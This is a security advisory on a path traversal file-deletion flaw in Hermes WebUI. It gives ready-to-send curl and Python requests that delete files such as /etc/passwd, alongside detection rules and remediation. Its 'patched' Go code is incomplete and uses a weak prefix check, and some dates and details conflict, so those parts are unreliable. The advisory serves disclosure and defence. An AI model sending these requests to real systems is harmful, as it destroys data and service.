CVE-2026-6832

Executive Summary

CVE-2026-6832 is a critical arbitrary file deletion vulnerability in the Hermes WebUI application. The flaw resides in the /api/session/delete endpoint, where the session_id parameter is not properly sanitized. An authenticated attacker can supply an absolute path or path traversal sequence (e.g., ../../) to delete arbitrary writable JSON files on the host system, bypassing the intended SESSION_DIR boundary. This can lead to denial of service, configuration corruption, or further privilege escalation by removing critical system files. The vulnerability has a CVSS score of 8.1 (High) and currently has no known patch. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the simplicity of the attack.

Supply Chain & Package Security

This vulnerability is not associated with a package manager (NPM, PyPI, Go, Ruby) but is a standalone web application. Supply chain risks are limited to the distribution of the Hermes WebUI binary or container image.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs valid authentication.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): High (H) – Arbitrary file deletion impacts system integrity.
• Availability (A): High (H) – Deletion of critical files can cause denial of service.

CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H Base Score: 8.1 (High)

Threat Level: High. While authentication is required, the low complexity and high impact make this a priority for remediation.

Deep Dive & Mechanics

The vulnerability exists in the session management logic of Hermes WebUI. The application uses a SESSION_DIR constant to store session files. The /api/session/delete endpoint accepts a session_id parameter and constructs a file path by concatenating SESSION_DIR with the provided session_id. The code does not validate whether the resulting path stays within the intended directory.

Vulnerable Code Flow:

1. User sends a POST request to /api/session/delete with session_id parameter.
2. The application constructs a path: SESSION_DIR + "/" + session_id.
3. The application calls os.Remove(path) without checking for path traversal.
4. An attacker can set session_id to ../../etc/config.json to delete files outside SESSION_DIR.

Impact:

• Deletion of configuration files (e.g., config.json, users.json) can disrupt service.
• Deletion of authentication databases can lock out legitimate users.
• Deletion of critical system files (if the application runs with elevated privileges) can lead to system compromise.

Vulnerable vs. Patched Code

Vulnerable Code (Go-like pseudocode):

func deleteSession(sessionID string) error {
    path := filepath.Join(SESSION_DIR, sessionID)
    return os.Remove(path)
}

Patched Code (Recommended):

import "path/filepath"

func deleteSession(sessionID string) error {
    // Sanitize the session ID to prevent path traversal
    cleanID := filepath.Base(sessionID)
    if cleanID != sessionID {
        return errors.New("invalid session ID")
    }
    path := filepath.Join(SESSION_DIR, cleanID)
    // Ensure the final path is within SESSION_DIR
    absPath, _ := filepath.Abs(path)
    absDir, _ := filepath.Abs(SESSION_DIR)
    if !strings.HasPrefix(absPath, absDir) {
        return errors.New("path traversal detected")
    }
    return os.Remove(absPath)
}

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid authentication credentials for Hermes WebUI.
• Network access to the Hermes WebUI server.

Exploit Steps:

1. Obtain a valid session cookie (e.g., via login).
2. Send a crafted POST request to delete an arbitrary file.

Example using cURL:

curl -X POST https://target-hermes/api/session/delete \
  -H "Cookie: session=valid_session_cookie" \
  -d "session_id=../../etc/passwd"

Example using Python:

import requests

url = "https://target-hermes/api/session/delete"
cookies = {"session": "valid_session_cookie"}
data = {"session_id": "../../etc/config.json"}
response = requests.post(url, cookies=cookies, data=data)
print(response.status_code)

Expected Outcome: The file /etc/config.json is deleted, causing service disruption.

Blue Team

Detection:

• Monitor for POST requests to /api/session/delete with session_id containing .. or absolute paths.
• Alert on file deletion events outside the expected session directory.

Hunting:

• Search logs for session_id values containing ../ or / characters.
• Correlate with file system monitoring for unexpected deletions.

Lab Setup:

• Deploy a vulnerable Hermes WebUI instance in an isolated environment.
• Use a tool like Burp Suite or Postman to send malicious requests.
• Monitor logs and file system changes.

Indicators of Compromise (IOCs)

• Network:

  • POST requests to /api/session/delete with session_id containing ../ or absolute paths.
  • Unusual HTTP 200 responses to file deletion requests for non-session files.

• File System:

  • Unexpected deletion of files outside the session directory (e.g., /etc/config.json, /var/www/html/index.html).
  • Missing configuration or authentication files.

• Logs:

  • Application logs showing os.Remove calls with paths containing ...
  • System logs (e.g., auditd) showing file deletion events for sensitive files.

Detection Engineering

YARA Rule

rule CVE_2026_6832_Hermes_File_Deletion {
    meta:
        description = "Detects attempts to exploit CVE-2026-6832 via path traversal in session_id"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2026-6832"
    strings:
        $s1 = "session_id" nocase
        $s2 = "../" ascii
        $s3 = "..\\" ascii
        $s4 = "/api/session/delete" nocase
    condition:
        all of ($s1, $s4) and any of ($s2, $s3)
}

Sigma Rule

title: Hermes WebUI Arbitrary File Deletion via Path Traversal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects POST requests to /api/session/delete with path traversal in session_id
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/api/session/delete'
    keywords:
        - 'session_id=../'
        - 'session_id=..\\'
        - 'session_id=/'
    condition: selection and keywords
falsepositives:
    - Legitimate use of session IDs containing dots (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-6832 Hermes WebUI Arbitrary File Deletion"; flow:to_server; content:"POST"; http_method; content:"/api/session/delete"; http_uri; content:"session_id"; http_client_body; pcre:"/session_id=[^&]*(\.\.\/|\.\.\\|\\/)/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the endpoint if not required: Block access to /api/session/delete via web server configuration (e.g., Apache .htaccess or Nginx location block).
2. Apply input validation using a Web Application Firewall (WAF) to block requests with session_id containing ../ or absolute paths.
3. Restrict file system permissions so the Hermes WebUI process cannot delete files outside its session directory.

Long-term Fix:

• The vendor must implement proper path sanitization as shown in the patched code example.
• Use a whitelist of allowed session IDs (e.g., UUIDs) instead of user-supplied values.
• Implement a chroot or containerized environment to limit file system access.

Workaround:

• If patching is not possible, consider running Hermes WebUI in a Docker container with read-only root filesystem and a writable volume for sessions only.

Valters IT

{/* [Security Hash: 118A7C90C1FD07F00EB96FD4] */}